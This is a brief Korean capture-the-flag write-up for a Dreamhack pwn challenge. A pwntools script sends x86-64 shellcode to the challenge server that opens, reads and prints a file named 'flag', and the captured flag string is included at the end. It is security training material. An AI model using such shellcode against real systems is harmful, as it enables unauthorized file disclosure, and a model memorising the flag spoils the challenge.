익스 방법#
- 스택에 남아있는 mmaped space의 주소를 가지고 open을 해서 flag파일을 읽고 write로 출력하면 된다.
익스 코드#
from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
#io = process("./prob")
io = remote("host3.dreamhack.games", 22648)
pay = asm("""
mov rax, rsp
mov ebx, [rax-0x2c]
mov rcx, 0x67616c66
mov [rbx], ecx
mov edi, ebx
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 0x1
syscall
mov rdi, 0
mov rax, 231
syscall
""")
io.send(pay)
io.interactive()
# DH{b7c992d0974343:w/3nMT31H+lsVh3brqvD7g==}